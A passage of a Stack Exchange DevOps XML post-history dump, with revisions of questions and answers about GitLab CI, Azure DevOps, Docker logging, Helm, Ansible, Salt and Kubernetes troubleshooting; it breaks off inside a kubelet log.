  <row Id="43901" PostHistoryTypeId="4" PostId="13948" RevisionGUID="f226ce91-fcab-4ed4-b61c-dd95b36f8db2" CreationDate="2021-05-20T12:45:37.893" UserId="323" Comment="deleted 2 characters in body; edited tags; edited title" Text="Our code is behind a firewall and we don't want to put source code in cloud. Are there any good CI/CD using local agents for Azure/Github actions" ContentLicense="CC BY-SA 4.0" />
  <row Id="43902" PostHistoryTypeId="6" PostId="13948" RevisionGUID="f226ce91-fcab-4ed4-b61c-dd95b36f8db2" CreationDate="2021-05-20T12:45:37.893" UserId="323" Comment="deleted 2 characters in body; edited tags; edited title" Text="&lt;jenkins-pipeline&gt;&lt;azure&gt;&lt;continuous-deployment&gt;&lt;software-recommendation&gt;&lt;github-actions&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43903" PostHistoryTypeId="5" PostId="13956" RevisionGUID="15b0ba64-f046-4931-97eb-e1cc2cc4f52d" CreationDate="2021-05-20T12:49:58.860" UserId="323" Comment="Hopefully this is a better title.  At least it's got a question mark!" Text="I have a job which needs to include another job and needs to append a value to a variable, such as:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;nightlies:&#xD;&#xA;  variables:&#xD;&#xA;    BUILD_NAME: &quot;nightly&quot;&#xD;&#xA;&#xD;&#xA;  script:&#xD;&#xA;    - $BUILD_NAME=&quot;${BUILD_NAME}-$(date +&quot;%Y%m%d&quot;)&quot;&#xD;&#xA;&#xD;&#xA;  only:&#xD;&#xA;    - schedules&#xD;&#xA;&#xD;&#xA;  trigger:&#xD;&#xA;    include:&#xD;&#xA;      - local: /.gitlab-ci/build.yml&#xD;&#xA;    strategy: depend&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;However reading the documentation `script` and `trigger` cannot be used together and I'm unsure of how else to create the `BUILD_NAME` with a date. Is there a way to use both. Otherwise, is there a way I could remove the trigger in order to use script, which would still call that job? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43904" PostHistoryTypeId="4" PostId="13956" RevisionGUID="15b0ba64-f046-4931-97eb-e1cc2cc4f52d" CreationDate="2021-05-20T12:49:58.860" UserId="323" Comment="Hopefully this is a better title.  At least it's got a question mark!" Text="How do trigger and script work together in a Gitlab job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43905" PostHistoryTypeId="6" PostId="13956" RevisionGUID="15b0ba64-f046-4931-97eb-e1cc2cc4f52d" CreationDate="2021-05-20T12:49:58.860" UserId="323" Comment="Hopefully this is a better title.  At least it's got a question mark!" Text="&lt;gitlab&gt;&lt;builds&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43906" PostHistoryTypeId="2" PostId="13957" RevisionGUID="06062586-ee08-45bb-ab00-56d04ce815c1" CreationDate="2021-05-20T15:54:14.003" UserId="4328" Text="One option is to [inherit your environment variable][1] from another job. You can create two different jobs, one to create the environment variable, and one to trigger the local CI pipeline.&#xD;&#xA; &#xD;&#xA; 1. Remove the `script` block from your nightlies job&#xD;&#xA; 2. Create a new job, and add your `script` block to it&#xD;&#xA; 3. Add an `artifacts` block to your new job to export the environment variables&#xD;&#xA; 4. Add a `dependencies` block to the nightlies job referencing the new job. &#xD;&#xA; &#xD;&#xA;Once all that is done, you should have something like this:&#xD;&#xA;&#xD;&#xA;    nightlies_env:&#xD;&#xA;      variables:&#xD;&#xA;        BUILD_NAME: &quot;nightly&quot;&#xD;&#xA;      script:&#xD;&#xA;        - $BUILD_NAME=&quot;${BUILD_NAME}-$(date +&quot;%Y%m%d&quot;)&quot;&#xD;&#xA;      artifacts:&#xD;&#xA;        reports:&#xD;&#xA;          dotenv: build.env&#xD;&#xA;    &#xD;&#xA;    nightlies:&#xD;&#xA;      only:&#xD;&#xA;        - schedules&#xD;&#xA;      trigger:&#xD;&#xA;        include:&#xD;&#xA;          - local: /.gitlab-ci/build.yml&#xD;&#xA;        strategy: depend&#xD;&#xA;      dependencies:&#xD;&#xA;        - nightlies_env&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/variables/#pass-an-environment-variable-to-another-job" ContentLicense="CC BY-SA 4.0" />
  <row Id="43907" PostHistoryTypeId="2" PostId="13958" RevisionGUID="aacad00c-3a38-4f55-bdc4-9cb4070f2783" CreationDate="2021-05-20T16:20:49.743" UserId="27796" Text="I have one agent pool that handles Visual Studio builds. I have another agent pool that handles VxWorks builds. I have an agent that can build for both Visual Studio and VxWorks. I would like to add that agent to both agent pools. Is this possible in Azure DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43908" PostHistoryTypeId="1" PostId="13958" RevisionGUID="aacad00c-3a38-4f55-bdc4-9cb4070f2783" CreationDate="2021-05-20T16:20:49.743" UserId="27796" Text="How do you add an agent to multiple agent pools in Azure DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43909" PostHistoryTypeId="3" PostId="13958" RevisionGUID="aacad00c-3a38-4f55-bdc4-9cb4070f2783" CreationDate="2021-05-20T16:20:49.743" UserId="27796" Text="&lt;azure-devops&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43910" PostHistoryTypeId="4" PostId="13956" RevisionGUID="7586de5f-5917-4673-a674-64c36ec491f1" CreationDate="2021-05-20T17:44:12.863" UserId="27783" Comment="edited title" Text="How to use script in a Gitlab bridge job?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43911" PostHistoryTypeId="2" PostId="13959" RevisionGUID="1594fc7a-948e-44ef-b156-6f3595e51fda" CreationDate="2021-05-20T17:47:36.670" UserId="323" Text="You can update the daemon.json config to specify your normal syslog driver (assuming linux) to use the normal syslog logrotation method for keeping log files or shipping off-box&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/config/containers/logging/syslog/&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;log-driver&quot;: &quot;syslog&quot;,&#xD;&#xA;  &quot;log-opts&quot;: {&#xD;&#xA;    &quot;syslog-address&quot;: &quot;udp://localhost:514&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43912" PostHistoryTypeId="50" PostId="13732" RevisionGUID="4b03f289-cbbf-44a5-a306-1b72f06324a0" CreationDate="2021-05-20T18:07:10.710" UserId="-1" />
  <row Id="43913" PostHistoryTypeId="5" PostId="13957" RevisionGUID="4888d88c-ae4c-4a6a-afab-f90af6f3cf17" CreationDate="2021-05-20T19:34:33.810" UserId="4328" Comment="Removed dependencies. Not usable with triggers. " Text="One option is to [inherit your environment variable][1] from another job. You can create two different jobs, one to create the environment variable, and one to trigger the local CI pipeline.&#xD;&#xA;&#xD;&#xA;Once all that is done, you should have something like this:&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;      - build&#xD;&#xA;      - deploy&#xD;&#xA;    &#xD;&#xA;    nightlies_env:&#xD;&#xA;      stage: build&#xD;&#xA;      variables:&#xD;&#xA;        BUILD_NAME: &quot;nightly&quot;&#xD;&#xA;      script:&#xD;&#xA;        - BUILD_NAME=&quot;${BUILD_NAME}-$(date +&quot;%Y%m%d&quot;)&quot;&#xD;&#xA;        - echo &quot;BUILD_NAME=$BUILD_NAME&quot; &gt;&gt; build.env&#xD;&#xA;      artifacts:&#xD;&#xA;        reports:&#xD;&#xA;          dotenv: build.env&#xD;&#xA;    &#xD;&#xA;    nightlies:&#xD;&#xA;      stage: deploy&#xD;&#xA;      variables:&#xD;&#xA;        BUILD_NAME: $BUILD_NAME&#xD;&#xA;      trigger:&#xD;&#xA;        include: build.yml&#xD;&#xA;        strategy: depend&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.gitlab.com/ee/ci/variables/#pass-an-environment-variable-to-another-job" ContentLicense="CC BY-SA 4.0" />
  <row Id="43914" PostHistoryTypeId="2" PostId="13960" RevisionGUID="24a26356-6a17-4d98-83b4-4e317707243b" CreationDate="2021-05-21T00:25:58.323" UserId="27661" Text="I've added the [Config-Driven Pipeline][1] Jenkins plugin, and -- as advertised -- it has enabled a `by Config-Driven Pipeline` option to the `Build Configuration` section of Multibranch Pipeline projects.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;Is there a way that Pipeline projects can have Config-Driven Pipelines? I like certain features of Pipeline projects, and I definitely like Config-Driven Pipelines...can a happy superset be achieved?&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I'm specifically excluding Multibranch Pipeline projects as a choice because unlike Pipeline projects, Multibranch projects can't capture POST content parameters.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://plugins.jenkins.io/config-driven-pipeline/&#xD;&#xA;  [2]: https://i.stack.imgur.com/gnnkS.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/TVNzI.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="43915" PostHistoryTypeId="1" PostId="13960" RevisionGUID="24a26356-6a17-4d98-83b4-4e317707243b" CreationDate="2021-05-21T00:25:58.323" UserId="27661" Text="Can a Jenkins Pipeline project be configured with a config-driven pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43916" PostHistoryTypeId="3" PostId="13960" RevisionGUID="24a26356-6a17-4d98-83b4-4e317707243b" CreationDate="2021-05-21T00:25:58.323" UserId="27661" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;configuration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43917" PostHistoryTypeId="10" PostId="13933" RevisionGUID="70a6f71c-816f-43db-9acf-e68d22770bc8" CreationDate="2021-05-21T03:09:58.803" UserId="323" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:323,&quot;DisplayName&quot;:&quot;Peter Turner&quot;}]}" />
  <row Id="43919" PostHistoryTypeId="2" PostId="13961" RevisionGUID="e2970923-7c65-4326-aedb-00986f42696b" CreationDate="2021-05-21T04:23:00.473" UserId="27758" Text="I am aware there's a `Tag Editor` in AWS Console which allows us to export details of all EC2s in an AWS account. &#xD;&#xA;&#xD;&#xA;However that list seems to be missing `ami and operating system` of the EC2.&#xD;&#xA;&#xD;&#xA;Is there a way to export details including ami and operating system of each EC2 in an AWS account?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43920" PostHistoryTypeId="1" PostId="13961" RevisionGUID="e2970923-7c65-4326-aedb-00986f42696b" CreationDate="2021-05-21T04:23:00.473" UserId="27758" Text="Is there a way to export details of all EC2s in an AWS account?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43921" PostHistoryTypeId="3" PostId="13961" RevisionGUID="e2970923-7c65-4326-aedb-00986f42696b" CreationDate="2021-05-21T04:23:00.473" UserId="27758" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43922" PostHistoryTypeId="2" PostId="13962" RevisionGUID="6e012b05-2eff-48b8-9ad4-35a9e7b81080" CreationDate="2021-05-21T05:38:41.267" UserId="27808" Text="Azure devops supports [containerized jobs][1]. This is where the build is executed inside the a docker container of the specified image. (Not to be confused with a [pipeline that builds a docker image][2])&#xD;&#xA;&#xD;&#xA;But all the examples that I've seen specify an image name. For example:&#xD;&#xA;&#xD;&#xA;    container: ubuntu:18.04&#xD;&#xA;&#xD;&#xA;Is there a way to do the same thing but by specifying a Dockerfile from the source code repository? What I want is for Azure devops to build the image based on that Dockerfile, run a container based on that image, execute the build inside the container, then stop and remove the container.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/container-phases?view=azure-devops#reusable-container-definition&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/ecosystems/containers/build-image?view=azure-devops" ContentLicense="CC BY-SA 4.0" />
  <row Id="43923" PostHistoryTypeId="1" PostId="13962" RevisionGUID="6e012b05-2eff-48b8-9ad4-35a9e7b81080" CreationDate="2021-05-21T05:38:41.267" UserId="27808" Text="Is it possible to have containerized pipelines in Azure Devops using a Dockerfile instead of an image name?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43924" PostHistoryTypeId="3" PostId="13962" RevisionGUID="6e012b05-2eff-48b8-9ad4-35a9e7b81080" CreationDate="2021-05-21T05:38:41.267" UserId="27808" Text="&lt;azure-devops&gt;&lt;containers&gt;&lt;dockerfile&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43926" PostHistoryTypeId="2" PostId="13963" RevisionGUID="c4ac5e88-69b0-4695-afca-f4bb15834394" CreationDate="2021-05-21T08:10:04.310" UserId="5058" Text="You can copy the actual logs from `/var/lib/docker/containers/&lt;container id&gt;/&lt;container id&gt;-json.log` to archive them then clear the logs manually (since you have only 2 services, influxdb and grafana). The containers won't stop with this procedure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;There is a [full and clear answer][1] on [this StackOverflow question][2] about clearing container logs. It also explains how to configure the Docker daemon to rotate logs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; From [this question][3] there's a one-liner that you can run:&#xD;&#xA;&gt;&#xD;&#xA;&gt; ```&#xD;&#xA;&gt; echo &quot;&quot; &gt; $(docker inspect --format='{{.LogPath}}' &lt;container_name_or_id&gt;)&#xD;&#xA;&gt; ```&#xD;&#xA;&gt;&#xD;&#xA;&gt; [...]&#xD;&#xA;&gt;&#xD;&#xA;&gt; You can also set this as part of your [daemon.json][4] file instead of modifying your startup scripts:&#xD;&#xA;&gt;&#xD;&#xA;&gt; ```&#xD;&#xA;&gt; {&#xD;&#xA;&gt;   &quot;log-driver&quot;: &quot;json-file&quot;,&#xD;&#xA;&gt;   &quot;log-opts&quot;: {&quot;max-size&quot;: &quot;10m&quot;, &quot;max-file&quot;: &quot;3&quot;}&#xD;&#xA;&gt; }&#xD;&#xA;&gt; ```&#xD;&#xA;&gt;&#xD;&#xA;&gt; @BMitch - https://stackoverflow.com/a/42510314/3756843&#xD;&#xA;&#xD;&#xA;As adviced, you should do this only until you configure the Docker daemon as your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/42510314/3756843&#xD;&#xA;  [2]: https://stackoverflow.com/questions/42510002/how-to-clear-the-logs-properly-for-a-docker-container&#xD;&#xA;  [3]: https://serverfault.com/q/637996/351549&#xD;&#xA;  [4]: https://docs.docker.com/engine/reference/commandline/dockerd/#on-linux" ContentLicense="CC BY-SA 4.0" />
  <row Id="43927" PostHistoryTypeId="4" PostId="13914" RevisionGUID="31bb00b0-0b74-4a5e-b05a-327cc16a8b06" CreationDate="2021-05-21T12:23:56.733" UserId="27656" Comment="edited title" Text="Kubernetes components related to Druid's CRD are not being deleted/updated inside a standalone cluster" ContentLicense="CC BY-SA 4.0" />
  <row Id="43928" PostHistoryTypeId="5" PostId="13914" RevisionGUID="31bb00b0-0b74-4a5e-b05a-327cc16a8b06" CreationDate="2021-05-21T12:23:56.733" UserId="27656" Comment="edited title" Text="I have installed k8s on a linux VM using the steps below:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ kubeadm reset --force&#xD;&#xA;$ [ -e ~/.kube ] &amp;&amp; rm -rf ~/.kube&#xD;&#xA;$ [ -e /etc/kubernetes ] &amp;&amp; rm -rf /etc/kubernetes&#xD;&#xA;$ [ -e /opt/cni ] &amp;&amp; rm -rf /opt/cni&#xD;&#xA;$ yum remove -y kubeadm kubectl kubelet kubernetes-cni kube*&#xD;&#xA;$ yum autoremove -y&#xD;&#xA;$ yum install kubeadm-1.17.17-0 kubectl-1.17.17-0 kubelet-1.17.17-0 --disableexcludes=kubernetes&#xD;&#xA;$ systemctl enable --now kubelet&#xD;&#xA;$ kubeadm init --pod-network-cidr=172.31.255.0/24&#xD;&#xA;$ mkdir -p $HOME/.kube&#xD;&#xA;$ cp -i /etc/kubernetes/admin.conf $HOME/.kube/config&#xD;&#xA;$ chown $(id -u):$(id -g) $HOME/.kube/config&#xD;&#xA;$ kubectl apply -f https://docs.projectcalico.org/v3.11/manifests/calico.yaml&#xD;&#xA;$ kubectl taint nodes --all node-role.kubernetes.io/master-&#xD;&#xA;$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml&#xD;&#xA;$ kubectl create serviceaccount cluster-admin-dashboard-sa&#xD;&#xA;$ kubectl create clusterrolebinding cluster-admin-dashboard-sa --clusterrole=cluster-admin --serviceaccount=default:cluster-admin-dashboard-sa&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I am using [druid-operator](https://github.com/druid-io/druid-operator).&#xD;&#xA;&#xD;&#xA;For some reason any deletion or update of components associated to Druid's CRD gets stuck. &#xD;&#xA;&#xD;&#xA;I could workaround dropping finalizers but it is not practical and does not solve the problem of updating components. When I try to drop the namespace it gets stuck as well.&#xD;&#xA;&#xD;&#xA;What Im doing wrong?&#xD;&#xA;&#xD;&#xA;**Solution:**&#xD;&#xA;&#xD;&#xA;The issue was strictly related to the [druid-operator](https://github.com/druid-io/druid-operator), not Kubernetes. &#xD;&#xA;&#xD;&#xA;The main problem was that when the operator's controller was restarted it would stop watching some of its components.&#xD;&#xA;&#xD;&#xA;More info on how to solve this at [this merge request](https://github.com/druid-io/druid-operator/pull/184).&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43929" PostHistoryTypeId="50" PostId="12978" RevisionGUID="cf4ed0bb-51e3-46c3-a739-f239482bc3ad" CreationDate="2021-05-21T14:07:20.693" UserId="-1" />
  <row Id="43930" PostHistoryTypeId="5" PostId="13951" RevisionGUID="5de13828-9074-48c1-8f4e-7b6e085e90d4" CreationDate="2021-05-21T14:35:56.643" UserId="17284" Comment="added 806 characters in body; edited title" Text="I am developing a Helm chart. When I `helm install`, I reliably get one of a handful of different errors saying something the chart deploys already exists, e.g.:&#xD;&#xA;&#xD;&#xA;`Error: secrets &quot;my-secret-name&quot; already exists`&#xD;&#xA;&#xD;&#xA;If I try again, it fails because the release already exists. If I issue the exact same command but replace `install` with `upgrade` (and removing non-applicable options like --create-namespace if applicable), it works. This is so reliable that I've baked it into a shell script to do the `install` and then the `upgrade` automatically.&#xD;&#xA;&#xD;&#xA;It's usually a particular secret or one of two namespaces. To be clear, I can't recall a time that it wasn't one of those three specific objects, but I've become a bit blind to the error.&#xD;&#xA;&#xD;&#xA;I regularly deploy my chart to Kind and GKE clusters; the error happens in both places, even on a brand new cluster with no objects in it, but also if I uninstall and reinstall I can make it happen again. In no case has it ever been correct that the object already exists.&#xD;&#xA;&#xD;&#xA;Unfortunately, I'm not able to share my chart's source. Here are some things I can share:&#xD;&#xA;&#xD;&#xA;My chart has 5 dependent subcharts. Three of them are third-party (etcd, minio, kube-prometheus-stack); the other two are in-house charts. Every time I have noticed, the objects that already exist belong to a specific one of the in-house subcharts; never something belonging to my own chart.&#xD;&#xA;&#xD;&#xA;The subchart is a tarball that I build and import regularly using `helm dependency update`. Using different methods to build and include it do not seem to make a difference.&#xD;&#xA;&#xD;&#xA;I first encountered this with Helm 3.5.2. I upgraded to Helm 3.5.4; the problem remains. I've searched through Helm's open Github issues and come up empty. I've also Googled and found nobody experiencing the same problem.&#xD;&#xA;&#xD;&#xA;I'm fairly new to Helm, so this could just be an amateur error on my part. I assume it's a problem with my chart, or more likely the subchart. I know about `helm template --debug` -- it hasn't helped. The templates themselves have the expected output (as evidenced by the fact that it works fine if I follow up the failed `install` with an `upgrade`). I've gone through the Helm docs repeatedly trying to find some option I can enable that would generate more output during the install process so that I might understand the nature of the failure, but I have found nothing.&#xD;&#xA;&#xD;&#xA;`helm install --debug` produces additional output, but nothing relevant to the failure.&#xD;&#xA;&#xD;&#xA;I know I haven't provided enough detail for someone else to debug it for me (and I cannot for corporate reasons), so my question is: How can I debug further? If you were facing this problem in your own chart, what would you do to narrow down the problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43931" PostHistoryTypeId="4" PostId="13951" RevisionGUID="5de13828-9074-48c1-8f4e-7b6e085e90d4" CreationDate="2021-05-21T14:35:56.643" UserId="17284" Comment="added 806 characters in body; edited title" Text="`helm install` consistently fails with different errors; subsequent `helm upgrade` works. How can I debug?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43932" PostHistoryTypeId="11" PostId="13951" RevisionGUID="e31086e4-4a34-4c8a-bfe4-c9ea645cd32e" CreationDate="2021-05-21T17:17:16.367" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="43933" PostHistoryTypeId="2" PostId="13964" RevisionGUID="0eea70b5-c59d-471a-bdca-06baa63892c1" CreationDate="2021-05-21T17:27:00.473" UserId="27804" Text="I am automating registration of gitlab runners to a podman v3.1.2 instance using ansible v2.10.9.&#xD;&#xA;&#xD;&#xA;Regardless of how I craft the cmd_args: parameter, I get a Python Class conversion error. The somewhat vague documentation for cmd_args seems to indicate it needs a list:&#xD;&#xA;&#xD;&#xA;*Any additional command options you want to pass to podman command, cmd_args - ['--other-param', 'value'] Be aware module doesn't support idempotency if this is set.*&#xD;&#xA;&#xD;&#xA;```cmd_args: ['--url', &quot;{{ gitlab_url }}&quot;]```&#xD;&#xA;&#xD;&#xA;yields:&#xD;&#xA;&#xD;&#xA;**fatal: [podman]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;argument label is of type &lt;class 'list'&gt; and we were unable to convert to dict: &lt;class 'list'&gt; cannot be converted to a dict&quot;}**&#xD;&#xA;&#xD;&#xA;Converting cmd_args to a dictionary:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cmd_args:&#xD;&#xA;  '--url': &quot;{{ gitlab_url }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;yields:&#xD;&#xA;&#xD;&#xA;**fatal: [podman]: FAILED! =&gt; {&quot;changed&quot;: false, &quot;msg&quot;: &quot;argument cmd_args is of type &lt;class 'dict'&gt; and we were unable to convert to list: &lt;class 'dict'&gt; cannot be converted to a list&quot;}**&#xD;&#xA;&#xD;&#xA;My full play:&#xD;&#xA;```&#xD;&#xA;    - name: Connect the gitlab-runner to a gitlab repo&#xD;&#xA;      containers.podman.podman_container:&#xD;&#xA;        name: gitlab-runner&#xD;&#xA;        image: gitlab/gitlab-runner:alpine&#xD;&#xA;        user: root&#xD;&#xA;        rm: yes&#xD;&#xA;        interactive: no&#xD;&#xA;        tty: no&#xD;&#xA;        label:&#xD;&#xA;          - &quot;docker&quot;&#xD;&#xA;          - &quot;podman&quot;&#xD;&#xA;        command: register&#xD;&#xA;        cmd_args:&#xD;&#xA;          '--url': &quot;{{ gitlab_url }}&quot;&#xD;&#xA;        volume:&#xD;&#xA;          - &quot;/home/{{ ansible_user_id }}/.local/srv/gitlab-runner/config:/etc/gitlab-runner:Z&quot;&#xD;&#xA;          - &quot;/run/user/{{ ansible_user_uid }}/podman/podman.sock:/var/run/docker.sock&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What am I doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43934" PostHistoryTypeId="1" PostId="13964" RevisionGUID="0eea70b5-c59d-471a-bdca-06baa63892c1" CreationDate="2021-05-21T17:27:00.473" UserId="27804" Text="Specifying cmd_args in containers.podman.podman_container" ContentLicense="CC BY-SA 4.0" />
  <row Id="43935" PostHistoryTypeId="3" PostId="13964" RevisionGUID="0eea70b5-c59d-471a-bdca-06baa63892c1" CreationDate="2021-05-21T17:27:00.473" UserId="27804" Text="&lt;ansible&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43936" PostHistoryTypeId="2" PostId="13965" RevisionGUID="fad3c556-9c78-4e89-9281-a029228e772c" CreationDate="2021-05-21T17:44:53.240" UserId="27815" Text="I am working with SLS files which have a lot of includes.  Is there a way to run the state.apply command and see the variable values, etc?  I'm think of something similar to when running an LINUX script with -x and it echoes the commands (after variable substitution)?  &#xD;&#xA;&#xD;&#xA;I'm getting the following errors.  The file does not have extra, hidden or non-printable characters.  Line 5 column 3 is '-', so it should find expected!&#xD;&#xA;&#xD;&#xA;    Data failed to compile:&#xD;&#xA;----------&#xD;&#xA;    Rendering SLS 'base:deploy' failed: while parsing a block collection&#xD;&#xA;  in &quot;&lt;unicode string&gt;&quot;, line 5, column 3&#xD;&#xA;did not find expected '-' indicator&#xD;&#xA;  in &quot;&lt;unicode string&gt;&quot;, line 14, column 3&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43937" PostHistoryTypeId="1" PostId="13965" RevisionGUID="fad3c556-9c78-4e89-9281-a029228e772c" CreationDate="2021-05-21T17:44:53.240" UserId="27815" Text="How to debug SLS" ContentLicense="CC BY-SA 4.0" />
  <row Id="43938" PostHistoryTypeId="3" PostId="13965" RevisionGUID="fad3c556-9c78-4e89-9281-a029228e772c" CreationDate="2021-05-21T17:44:53.240" UserId="27815" Text="&lt;salt&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43939" PostHistoryTypeId="2" PostId="13966" RevisionGUID="cf411d6c-9bb5-4155-b750-466ffbfd0771" CreationDate="2021-05-21T18:20:09.453" UserId="12138" Text="You can use AWS CLI and run the below command to get details of all ec2 instances in your account.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;aws ec2 describe-instances&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;You can also use filters if your required. Please refer the [documentation][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="43940" PostHistoryTypeId="5" PostId="13951" RevisionGUID="dddd845b-8891-4b02-84a5-f439699bf266" CreationDate="2021-05-21T19:13:51.297" UserId="17284" Comment="added 260 characters in body" Text="I am developing a Helm chart. When I `helm install`, I reliably get one of a handful of different errors saying something the chart deploys already exists, e.g.:&#xD;&#xA;&#xD;&#xA;`Error: secrets &quot;my-secret-name&quot; already exists`&#xD;&#xA;&#xD;&#xA;If I try again, it fails because the release already exists. If I issue the exact same command but replace `install` with `upgrade` (and removing non-applicable options like --create-namespace if applicable), it works. This is so reliable that I've baked it into a shell script to do the `install` and then the `upgrade` automatically.&#xD;&#xA;&#xD;&#xA;It's usually a particular secret or one of two namespaces. To be clear, I can't recall a time that it wasn't one of those three specific objects, but I've become a bit blind to the error.&#xD;&#xA;&#xD;&#xA;I regularly deploy my chart to Kind and GKE clusters; the error happens in both places, even on a brand new cluster with no objects in it, but also if I uninstall and reinstall I can make it happen again. In no case has it ever been correct that the object already exists.&#xD;&#xA;&#xD;&#xA;Unfortunately, I'm not able to share my chart's source. Here are some things I can share:&#xD;&#xA;&#xD;&#xA;My chart has 5 dependent subcharts. Three of them are third-party (etcd, minio, kube-prometheus-stack); the other two are in-house charts. Every time I have noticed, the objects that already exist belong to a specific one of the in-house subcharts; never something belonging to my own chart.&#xD;&#xA;&#xD;&#xA;The subchart is a tarball that I build and import regularly using `helm dependency update`. Using different methods to build and include it do not seem to make a difference.&#xD;&#xA;&#xD;&#xA;I first encountered this with Helm 3.5.2. I upgraded to Helm 3.5.4; the problem remains. I've searched through Helm's open Github issues and come up empty. I've also Googled and found nobody experiencing the same problem.&#xD;&#xA;&#xD;&#xA;I'm fairly new to Helm, so this could just be an amateur error on my part. I assume it's a problem with my chart, or more likely the subchart. I know about `helm template --debug` -- it hasn't helped. The templates themselves have the expected output (as evidenced by the fact that it works fine if I follow up the failed `install` with an `upgrade`). I've gone through the Helm docs repeatedly trying to find some option I can enable that would generate more output during the install process so that I might understand the nature of the failure, but I have found nothing.&#xD;&#xA;&#xD;&#xA;`helm install --debug` produces additional output, but nothing relevant to the failure.&#xD;&#xA;&#xD;&#xA;I know I haven't provided enough detail for someone else to debug it for me (and I cannot for corporate reasons), so my question is: How can I debug further? If you were facing this problem in your own chart, what would you do to narrow down the problem?&#xD;&#xA;&#xD;&#xA;Assume you've pared down the chart and subcharts to a minimal set of templates/etc required to reproduce the problem. There is still no useful output; no indication of how the object indicated in the error &quot;already exists&quot; in a brand new cluster. Now what?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43944" PostHistoryTypeId="2" PostId="13967" RevisionGUID="1878b890-3675-40dc-8922-2302a716c190" CreationDate="2021-05-22T12:38:37.897" UserId="27824" Text="the k8s cluster that i monitoring got problem when update VM host.&#xD;&#xA;At first i got connection refused on xxxxxx:6443 when i try to kubectl get no.&#xD;&#xA;Then i check kubelet log by journalctl -xeu kubelet and found somethings about kube-api-server as below.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;    May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.776568   13236 reflector.go:125] k8s.io/client-go/informers/factory.go:133: Failed to list *v1beta1.CSIDriver: Get https://192.168.10.141:6443/apis/storage.k8s.io/v1beta1/csidrivers?limit=500&amp;resourceVersion=0: dial tcp 192.168.10.141:6443: connect: connection refused&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.802722   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.902857   13236 kubelet.go:2248] node &quot;ptseclsbtmtn01&quot; not found&#xD;&#xA;        May 22 18:03:16 PTSECLSBTMTN01 kubelet[13236]: E0522 18:03:16.976556   13236 reflector.go:125] k8s.io/kubernetes/pkg/kubele /config/apiserver.go:47: 